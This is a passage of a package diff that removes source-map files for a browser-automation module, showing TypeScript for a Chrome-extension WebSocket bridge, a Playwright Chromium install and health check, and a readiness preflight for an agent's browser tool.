wssEmitter.on('error', onStartError);\n      this.server!.listen(this.config.port, this.config.host, onListening);\n    });\n  }\n\n  /** Wait for the Chrome Extension to connect. */\n  async waitForConnection(timeoutMs?: number): Promise<void> {\n    if (this.connected) return;\n\n    const timeout = timeoutMs ?? this.config.connectionTimeout;\n    return new Promise<void>((resolve, reject) => {\n      const timer = setTimeout(() => {\n        const idx = this.connectionWaiters.findIndex(w => w.resolve === resolve);\n        if (idx >= 0) this.connectionWaiters.splice(idx, 1);\n        reject(new Error(`Extension connection timeout after ${timeout}ms. Is the Chrome Extension installed and enabled?`));\n      }, timeout);\n\n      this.connectionWaiters.push({\n        resolve: () => { clearTimeout(timer); resolve(); },\n        reject: (e) => { clearTimeout(timer); reject(e); },\n      });\n    });\n  }\n\n  /** Send a command to the extension and wait for the result. */\n  async sendCommand(action: ExtensionAction, args?: Record<string, unknown>, options?: { tabId?: number; timeout?: number }): Promise<ExtensionResult> {\n    if (!this.connected || !this.clientWs) {\n      throw new Error('Extension not connected. Ensure the Chrome Extension is installed and connected.');\n    }\n\n    const id = `cmd_${++this.commandCounter}_${Date.now()}`;\n    const cmd: ExtensionCommand = {\n      id,\n      action,\n      args,\n      tabId: options?.tabId,\n      timeout: options?.timeout ?? this.config.commandTimeout,\n    };\n\n    return new Promise<ExtensionResult>((resolve, reject) => {\n      const timer = setTimeout(() => {\n        this.pending.delete(id);\n        reject(new Error(`Command timeout: ${action} (${cmd.timeout}ms)`));\n      }, cmd.timeout!);\n\n      this.pending.set(id, { resolve, reject, timer });\n\n      try {\n        (this.clientWs as { send: Function }).send(JSON.stringify(cmd));\n      } catch (e) {\n        clearTimeout(timer);\n        this.pending.delete(id);\n        reject(e instanceof Error ? e : new Error(String(e)));\n      }\n    });\n  }\n\n  /** Whether the extension is currently connected. */\n  isConnected(): boolean {\n    return this.connected;\n  }\n\n  /** Close the Chrome Extension client without stopping the WebSocket server. */\n  disconnectClient(): void {\n    if (!this.clientWs) return;\n    try {\n      (this.clientWs as { close: () => void }).close();\n    } catch {\n      /* */\n    }\n  }\n\n  /** Shutdown the WebSocket server. */\n  async shutdown(): Promise<void> {\n    // Reject pending waiters\n    for (const waiter of this.connectionWaiters) {\n      waiter.reject(new Error('Provider shutting down'));\n    }\n    this.connectionWaiters = [];\n\n    // Reject pending requests\n    for (const [id, req] of this.pending) {\n      clearTimeout(req.timer);\n      req.reject(new Error('Provider shutting down'));\n      this.pending.delete(id);\n    }\n\n    if (this.clientWs) {\n      try { (this.clientWs as { close: Function }).close(); } catch { /* */ }\n      this.clientWs = null;\n    }\n\n    if (this.wss) {\n      try { (this.wss as { close: Function }).close(); } catch { /* */ }\n      this.wss = null;\n    }\n\n    if (this.server) {\n      await new Promise<void>((resolve) => {\n        this.server!.close(() => resolve());\n      });\n      this.server = null;\n    }\n\n    this.connected = false;\n    log.info('Extension provider shut down');\n  }\n\n  private _handleMessage(raw: string): void {\n    try {\n      const msg = JSON.parse(raw);\n\n      // Status events from extension (fire-and-forget, no pending match)\n      if (msg.type === 'status') {\n        log.debug(msg, 'Extension status');\n        return;\n      }\n\n      // Network events\n      if (msg.type === 'network_event') {\n        log.debug({ listenerId: msg.listenerId, eventType: msg.eventType }, 'Network event');\n        return;\n      }\n\n      // Command result\n      const id = msg.id as string;\n      const pending = this.pending.get(id);\n      if (pending) {\n        clearTimeout(pending.timer);\n        this.pending.delete(id);\n        pending.resolve(msg as ExtensionResult);\n      }\n    } catch (e) {\n      log.error({ err: e }, 'Failed to parse extension message');\n    }\n  }\n}\n"],"mappings":"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"}

package/dist/src/browser/providers/playwright-doctor.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"playwright-doctor.js","names":[],"sources":["../../../../src/browser/providers/playwright-doctor.ts"],"sourcesContent":["import { existsSync } from 'node:fs';\nimport { createRequire } from 'node:module';\nimport { stat } from 'node:fs/promises';\nimport { dirname, join } from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nexport interface PlaywrightChromiumDoctorResult {\n  installed: boolean;\n  executablePath?: string | null;\n  reason?: string;\n}\n\n/** Root directory of the `playwright-core` package (Electron extraResources or node_modules). */\nexport function resolvePlaywrightCoreRoot(): string {\n  const envRoot = process.env.XOPC_PLAYWRIGHT_CORE_ROOT?.trim();\n  if (envRoot) {\n    const pkgJson = join(envRoot, 'package.json');\n    if (!existsSync(pkgJson)) {\n      throw new Error(`playwright-core package.json not found under XOPC_PLAYWRIGHT_CORE_ROOT (${envRoot})`);\n    }\n    return envRoot;\n  }\n\n  const require = createRequire(fileURLToPath(import.meta.url));\n  const pkgJson = require.resolve('playwright-core/package.json');\n  return dirname(pkgJson);\n}\n\n/** Absolute path to bundled `playwright-core/cli.js` (same revision as runtime). */\nexport function resolvePlaywrightCoreCliPath(): string {\n  return join(resolvePlaywrightCoreRoot(), 'cli.js');\n}\n\n/** Load playwright-core (Electron extraResources or node_modules). */\nexport async function loadPlaywrightCoreModule(): Promise<typeof import('playwright-core')> {\n  const envRoot = process.env.XOPC_PLAYWRIGHT_CORE_ROOT?.trim();\n  if (envRoot) {\n    const entry = join(envRoot, 'index.js');\n    const require = createRequire(import.meta.url);\n    return require(entry) as typeof import('playwright-core');\n  }\n  return import('playwright-core');\n}\n\n/** Check whether playwright-core's default Chromium revision is on disk. */\nexport async function playwrightChromiumDoctor(): Promise<PlaywrightChromiumDoctorResult> {\n  try {\n    const pw = await loadPlaywrightCoreModule();\n    const chromium = pw.chromium\n      ?? (pw as { default?: { chromium?: (typeof pw)['chromium'] } }).default?.chromium;\n    if (!chromium?.executablePath) {\n      return { installed: false, reason: 'playwright-core missing' };\n    }\n\n    let executablePath: string;\n    try {\n      executablePath = chromium.executablePath();\n    } catch (err) {\n      return {\n        installed: false,\n        reason: err instanceof Error ? err.message : String(err),\n      };\n    }\n\n    try {\n      const st = await stat(executablePath);\n      return { installed: st.isFile(), executablePath };\n    } catch {\n      return {\n        installed: false,\n        executablePath,\n        reason: 'Chromium executable not found on disk',\n      };\n    }\n  } catch (e) {\n    return { installed: false, reason: e instanceof Error ? e.message : String(e) };\n  }\n}\n"],"mappings":";;;;;;;AAaA,SAAgB,4BAAoC;CAClD,MAAM,UAAU,QAAQ,IAAI,2BAA2B,MAAM;AAC7D,KAAI,SAAS;AAEX,MAAI,CAAC,WADW,KAAK,SAAS,eACP,CAAC,CACtB,OAAM,IAAI,MAAM,2EAA2E,QAAQ,GAAG;AAExG,SAAO;;AAKT,QAAO,QAFS,cAAc,cAAc,OAAO,KAAK,IAAI,CACrC,CAAC,QAAQ,+BACV,CAAC;;;AAIzB,SAAgB,+BAAuC;AACrD,QAAO,KAAK,2BAA2B,EAAE,SAAS;;;AAIpD,eAAsB,2BAAsE;CAC1F,MAAM,UAAU,QAAQ,IAAI,2BAA2B,MAAM;AAC7D,KAAI,SAAS;EACX,MAAM,QAAQ,KAAK,SAAS,WAAW;AAEvC,SADgB,cAAc,OAAO,KAAK,IAC5B,CAAC,MAAM;;AAEvB,QAAO,OAAO;;;AAIhB,eAAsB,2BAAoE;AACxF,KAAI;EACF,MAAM,KAAK,MAAM,0BAA0B;EAC3C,MAAM,WAAW,GAAG,YACd,GAA4D,SAAS;AAC3E,MAAI,CAAC,UAAU,eACb,QAAO;GAAE,WAAW;GAAO,QAAQ;GAA2B;EAGhE,IAAI;AACJ,MAAI;AACF,oBAAiB,SAAS,gBAAgB;WACnC,KAAK;AACZ,UAAO;IACL,WAAW;IACX,QAAQ,eAAe,QAAQ,IAAI,UAAU,OAAO,IAAI;IACzD;;AAGH,MAAI;AAEF,UAAO;IAAE,YAAW,MADH,KAAK,eAAe,EACd,QAAQ;IAAE;IAAgB;UAC3C;AACN,UAAO;IACL,WAAW;IACX;IACA,QAAQ;IACT;;UAEI,GAAG;AACV,SAAO;GAAE,WAAW;GAAO,QAAQ,aAAa,QAAQ,EAAE,UAAU,OAAO,EAAE;GAAE"}

package/dist/src/browser/providers/playwright-install.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"playwright-install.js","names":[],"sources":["../../../../src/browser/providers/playwright-install.ts"],"sourcesContent":["import { spawn } from 'node:child_process';\n\nimport type { BrowserInstallProgress } from '../install-progress.js';\n\nimport {\n  playwrightChromiumDoctor,\n  resolvePlaywrightCoreCliPath,\n  type PlaywrightChromiumDoctorResult,\n} from './playwright-doctor.js';\n\nconst DEFAULT_TIMEOUT_MS = 10 * 60 * 1000;\n\nexport type PlaywrightInstallResult = PlaywrightChromiumDoctorResult;\n\nfunction parsePercentFromLine(line: string): number | null {\n  const match = line.match(/(\\d{1,3})%/);\n  if (!match) return null;\n  const n = Number(match[1]);\n  return Number.isFinite(n) ? Math.min(100, Math.max(0, n)) : null;\n}\n\n/**\n * Install Chromium for the bundled `playwright-core` revision (not `npx playwright`).\n */\nexport async function runPlaywrightChromiumInstallWithProgress(opts: {\n  onProgress: (progress: BrowserInstallProgress) => void | Promise<void>;\n  timeoutMs?: number;\n  signal?: AbortSignal;\n}): Promise<void> {\n  const timeoutMs = opts.timeoutMs ?? DEFAULT_TIMEOUT_MS;\n  const cliPath = resolvePlaywrightCoreCliPath();\n  const stdoutChunks: string[] = [];\n  const stderrChunks: string[] = [];\n\n  if (opts.signal?.aborted) {\n    throw new Error('Install cancelled');\n  }\n\n  await opts.onProgress({\n    phase: 'starting',\n    message: 'Starting Playwright Chromium install (playwright-core)',\n  });\n\n  await new Promise<void>((resolve, reject) => {\n    const child = spawn(process.execPath, [cliPath, 'install', 'chromium'], {\n      stdio: ['ignore', 'pipe', 'pipe'],\n      env: process.env,\n    });\n\n    const timer = setTimeout(() => {\n      child.kill('SIGTERM');\n      reject(new Error(`Playwright install timed out after ${Math.round(timeoutMs / 1000)}s`));\n    }, timeoutMs);\n\n    const onAbort = () => {\n      clearTimeout(timer);\n      child.kill('SIGTERM');\n      reject(new Error('Install cancelled'));\n    };\n    opts.signal?.addEventListener('abort', onAbort, { once: true });\n\n    const emitLine = (source: 'stdout' | 'stderr', line: string) => {\n      const trimmed = line.trim();\n      if (!trimmed) return;\n      if (source === 'stdout') stdoutChunks.push(trimmed);\n      else stderrChunks.push(trimmed);\n      const percent = parsePercentFromLine(trimmed);\n      void opts.onProgress({\n        phase: 'running',\n        message: trimmed,\n        line: trimmed,\n        source,\n        percent,\n      });\n    };\n\n    let stdoutBuf = '';\n    let stderrBuf = '';\n\n    child.stdout?.on('data', (chunk: Buffer) => {\n      stdoutBuf += chunk.toString();\n      let idx: number;\n      while ((idx = stdoutBuf.indexOf('\\n')) !== -1) {\n        const line = stdoutBuf.slice(0, idx);\n        stdoutBuf = stdoutBuf.slice(idx + 1);\n        emitLine('stdout', line);\n      }\n    });\n\n    child.stderr?.on('data', (chunk: Buffer) => {\n      stderrBuf += chunk.toString();\n      let idx: number;\n      while ((idx = stderrBuf.indexOf('\\n')) !== -1) {\n        const line = stderrBuf.slice(0, idx);\n        stderrBuf = stderrBuf.slice(idx + 1);\n        emitLine('stderr', line);\n      }\n    });\n\n    child.once('error', (err) => {\n      clearTimeout(timer);\n      opts.signal?.removeEventListener('abort', onAbort);\n      reject(err);\n    });\n\n    child.once('close', (code, signal) => {\n      clearTimeout(timer);\n      opts.signal?.removeEventListener('abort', onAbort);\n      if (stdoutBuf.trim()) emitLine('stdout', stdoutBuf);\n      if (stderrBuf.trim()) emitLine('stderr', stderrBuf);\n\n      if (code === 0) {\n        resolve();\n        return;\n      }\n\n      if (opts.signal?.aborted) {\n        reject(new Error('Install cancelled'));\n        return;\n      }\n\n      const reason = signal ? `signal ${signal}` : `exit code ${code ?? 'unknown'}`;\n      const detail = [stderrChunks.join('\\n'), stdoutChunks.join('\\n')]\n        .filter((part) => part.trim())\n        .join('\\n')\n        .slice(0, 4000);\n      reject(new Error(detail || `Playwright install failed with ${reason}`));\n    });\n  });\n\n  await opts.onProgress({ phase: 'ready', message: 'Chromium installed', percent: 100 });\n}\n\n/** Install Chromium and return doctor status for the bundled playwright-core revision. */\nexport async function installPlaywrightChromium(opts?: {\n  onProgress?: (progress: BrowserInstallProgress) => void | Promise<void>;\n  timeoutMs?: number;\n}): Promise<PlaywrightInstallResult> {\n  await runPlaywrightChromiumInstallWithProgress({\n    onProgress: opts?.onProgress ?? (() => {}),\n    timeoutMs: opts?.timeoutMs,\n  });\n  const doctor = await playwrightChromiumDoctor();\n  if (!doctor.installed) {\n    throw new Error(doctor.reason ?? 'Chromium not found after install');\n  }\n  return doctor;\n}\n"],"mappings":"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"}

package/dist/src/browser/readiness.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"readiness.js","names":[],"sources":["../../../src/browser/readiness.ts"],"sourcesContent":["/**\n * Backend readiness preflight for the `browser_use` tool.\n *\n * Reuses the same doctor functions that power the Settings → Browser page so\n * the agent never tries to launch a backend that the UI already knows is\n * broken. Produces a structured signal the chat surface can render as a\n * \"Setup browser\" card instead of a bare error string.\n */\n\nimport type { Config } from '../config/schema.js';\n\nimport { resolveBrowserBackendFromConfig } from './backend-from-config.js';\nimport type { CloakBrowserConfig, ExtensionConnectionConfig } from './providers/types.js';\nimport { createLogger } from '../utils/logger.js';\n\nconst log = createLogger('browser-readiness');\n\nexport type BrowserBackendKind =\n  | 'extension'\n  | 'local'\n  | 'cloakbrowser'\n  | 'cdp'\n  | 'cloud';\n\nexport type BrowserNotReadyReason =\n  | 'extension_not_installed'\n  | 'extension_bridge_offline'\n  | 'extension_not_connected'\n  | 'local_chromium_missing'\n  | 'cloakbrowser_not_installed'\n  | 'cdp_unreachable'\n  | 'cloud_api_key_missing';\n\nexport interface BrowserSetupHint {\n  backend: BrowserBackendKind;\n  reason: BrowserNotReadyReason;\n  /** Raw probe diagnostic; surfaced behind a disclosure for debugging. */\n  detail?: string;\n  /** Deep link into Settings → Browser focused on the right backend tab. */\n  deepLink: string;\n}\n\nexport class BrowserNotReadyError extends Error {\n  constructor(public readonly hint: BrowserSetupHint) {\n    super(`Browser backend \"${hint.backend}\" not ready: ${hint.reason}`);\n    this.name = 'BrowserNotReadyError';\n  }\n}\n\n/** Map backend → settings tab id (matches `BROWSER_BACKEND_TABS` on the web side). */\nexport function buildBrowserSetupDeepLink(backend: BrowserBackendKind): string {\n  return `/settings/agent-browser?tab=${backend}`;\n}\n\nfunction hint(\n  backend: BrowserBackendKind,\n  reason: BrowserNotReadyReason,\n  detail?: string,\n): BrowserSetupHint {\n  return { backend, reason, detail, deepLink: buildBrowserSetupDeepLink(backend) };\n}\n\nasync function checkExtension(config: ExtensionConnectionConfig | undefined): Promise<BrowserSetupHint | null> {\n  try {\n    const { browserExtDoctor } = await import('./providers/browser-ext-install.js');\n    const doctor = await browserExtDoctor();\n    if (!doctor.installed) {\n      return hint('extension', 'extension_not_installed', 'extension artifacts not on disk');\n    }\n  } catch (e) {\n    return hint('extension', 'extension_not_installed', e instanceof Error ? e.message : String(e));\n  }\n\n  const host = config?.host?.trim() || '127.0.0.1';\n  const port =\n    typeof config?.port === 'number' && config.port >= 1024 && config.port <= 65535\n      ? Math.floor(config.port)\n      : 19820;\n\n  try {\n    const { getExtensionBrowserServerSnapshot } = await import(\n      './providers/extension-ws-acquire.js'\n    );\n    const snapshot = getExtensionBrowserServerSnapshot();\n    if (snapshot.active) {\n      // Probe the HTTP `/` health endpoint to read `.connected`.\n      try {\n        const res = await fetch(`http://${host}:${port}/`, {\n          signal: AbortSignal.timeout(2000),\n        });\n        const data = (await res.json().catch(() => null)) as { connected?: boolean } | null;\n        if (data?.connected) return null;\n        return hint(\n          'extension',\n          'extension_not_connected',\n          'WS bridge is listening but no Chrome Extension client connected yet',\n        );\n      } catch {\n        // Bridge claims active but health probe failed — treat as offline.\n        return hint('extension', 'extension_bridge_offline', `health probe failed on ${host}:${port}`);\n      }\n    }\n    return hint('extension', 'extension_bridge_offline', `bridge not started on ${host}:${port}`);\n  } catch (e) {\n    return hint(\n      'extension',\n      'extension_bridge_offline',\n      e instanceof Error ? e.message : String(e),\n    );\n  }\n}\n\nasync function checkLocal(): Promise<BrowserSetupHint | null> {\n  try {\n    const { playwrightChromiumDoctor } = await import('./providers/playwright-doctor.js');\n    const doctor = await playwrightChromiumDoctor();\n    if (!doctor.installed) {\n      return hint(\n        'local',\n        'local_chromium_missing',\n        doctor.reason ?? 'Chromium binary not found on disk',\n      );\n    }\n    return null;\n  } catch (e) {\n    return hint('local', 'local_chromium_missing', e instanceof Error ? e.message : String(e));\n  }\n}\n\nasync function checkCloak(config: CloakBrowserConfig | undefined): Promise<BrowserSetupHint | null> {\n  try {\n    const { cloakBrowserDoctor } = await import('./providers/cloakbrowser.js');\n    const doctor = await cloakBrowserDoctor({\n      ...(config?.cacheDir ? { cacheDir: config.cacheDir } : {}),\n      ...(config?.binaryPath ? { binaryPath: config.binaryPath } : {}),\n    });\n    if (!doctor.installed) {\n      return hint(\n        'cloakbrowser',\n        'cloakbrowser_not_installed',\n        `CloakBrowser binary not found (cacheDir=${doctor.cacheDir})`,\n      );\n    }\n    return null;\n  } catch (e) {\n    return hint(\n      